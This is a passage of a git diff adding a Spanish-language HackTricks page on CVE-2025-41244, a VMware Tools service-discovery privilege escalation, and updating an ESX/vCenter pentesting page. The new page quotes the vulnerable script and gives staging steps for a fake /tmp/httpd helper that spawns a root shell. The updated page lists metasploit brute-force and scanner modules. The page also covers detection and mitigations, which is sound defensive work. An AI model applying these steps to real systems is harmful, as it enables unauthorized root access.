root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..141de134e --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Esta técnica abusa de pipelines de service discovery impulsados por regex que analizan las command lines de procesos en ejecución para inferir versiones de servicio y luego ejecutar un candidate binary con una bandera "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el privileged collector ejecuta un binary arbitrario desde una ubicación no confiable, produciendo local privilege escalation. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244. + +- Impact: Local privilege escalation to root (or to the privileged discovery account) +- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## Cómo funciona VMware service discovery (a alto nivel) + +- Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando privileged credentials configuradas. +- Credential-less (modern): Discovery logic se ejecuta dentro de VMware Tools, ya privileged en el guest. + +Ambos modos finalmente ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae un command path coincidente vía regex, y ejecuta el primer token argv con un version flag. + +## Causa raíz y patrón vulnerable (open-vm-tools) + +En open-vm-tools, el script plugin serviceDiscovery get-versions.sh hace matching de candidate binaries usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de trusted-path: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Se invoca con patrones permisivos que contienen \S (sin espacios en blanco) que coinciden con rutas que no pertenecen al sistema en ubicaciones escribibles por el usuario: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- La extracción usa grep -Eo y toma el primer token: ${COMMAND%%[[:space:]]*} +- No hay whitelist/allowlist de rutas del sistema confiables; cualquier listener descubierto con un nombre coincidente se ejecuta con -v/--version + +Esto crea un untrusted search path execution primitive: binarios arbitrarios ubicados en directorios world-writable (p. ej., /tmp/httpd) son ejecutados por un componente privilegiado. + +## Explotación (tanto en modos sin credenciales como con credenciales) + +Precondiciones +- Puedes ejecutar un proceso sin privilegios que abra un listening socket en el guest. +- La tarea de discovery está habilitada y se ejecuta periódicamente (históricamente ~5 minutos). + +Pasos +1) Coloca (stage) un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx +2) Ejecútalo como un usuario con pocos privilegios y asegúrate de que abra algún listening socket +3) Espera al ciclo de descubrimiento; el privileged collector ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root + +Demo mínima (utilizando el enfoque de NVISO) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Linaje típico de procesos +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artefactos (credential-based) +Los SDMP wrapper scripts recuperados en /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Generalizing the technique: regex-driven discovery abuse (portable pattern) + +Muchos agentes y suites de monitorización implementan el descubrimiento de versiones/servicios mediante: +- Enumerar procesos con sockets en escucha +- Grepear argv/command lines con regexes permisivos (por ejemplo, patrones que contienen \S) +- Ejecutar la ruta que coincide con una bandera benigna como -v, --version, -V, -h + +Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se obtiene CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Nombra tu binario como daemons comunes que la regex probablemente coincida: httpd, nginx, mysqld, dataserver +- Colócalo en un directorio escribible: /tmp/httpd, ./nginx +- Asegúrate de que coincida con la regex y abra cualquier puerto para ser enumerado +- Espera al collector programado; obtendrás una invocación privilegiada automática de -v + +Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth. + +Reusable privileged I/O relay trick +- Construye tu helper de modo que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (por ejemplo, un UNIX socket abstracto de Linux como @cve) y bridgee stdio a /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una bandera. + +## Detection and DFIR guidance + +Hunting queries +- Hijos poco comunes de vmtoolsd o get-versions.sh como /tmp/httpd, ./nginx, /tmp/mysqld +- Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (busca espacios en expansiones ${COMMAND%%...}) +- ps -ef --forest para visualizar árboles de ascendencia: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Inspecciona /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante + +Policy/telemetry +- Alertar cuando collectors privilegiados ejecuten desde prefijos no del sistema: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring sobre get-versions.sh y plugins de VMware Tools + +## Mitigations + +- Patch: Aplica actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP) +- Disable o restringe el discovery sin credenciales cuando sea factible +- Valida rutas de confianza: restringe la ejecución a directorios allowlisted (/usr/sbin, /usr/bin, /sbin, /bin) y únicamente a binarios exactos conocidos +- Evita regexes permisivos con \S; prefiere rutas absolutas ancladas y nombres de comando exactos +- Reduce privilegios de los helpers de discovery cuando sea posible; aplica sandbox (seccomp/AppArmor) para minimizar el impacto +- Monitorea y genera alertas sobre vmtoolsd/get-versions.sh ejecutando rutas no del sistema + +## Notes for defenders and implementers + +Safer matching and execution pattern +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Referencias + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 76eef96c9..616672853 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,14 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Enumeración +## Enumeración ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Fuerza bruta +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Si encuentras credenciales válidas, puedes usar más módulos de escáner de metasploit para obtener información. +Si encuentras credenciales válidas, puedes usar más metasploit scanner modules para obtener información. + +### Véase también + +Linux LPE mediante el descubrimiento de servicios de VMware Tools (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}}